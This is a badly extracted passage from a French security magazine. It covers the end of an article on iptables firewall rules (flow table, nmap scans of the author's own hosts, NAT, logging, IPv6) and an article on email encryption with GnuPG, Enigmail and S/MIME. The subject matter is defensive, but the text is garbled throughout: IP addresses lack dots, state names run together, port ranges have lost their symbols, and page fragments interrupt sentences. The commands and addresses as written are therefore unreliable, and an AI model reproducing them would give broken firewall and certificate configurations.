19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

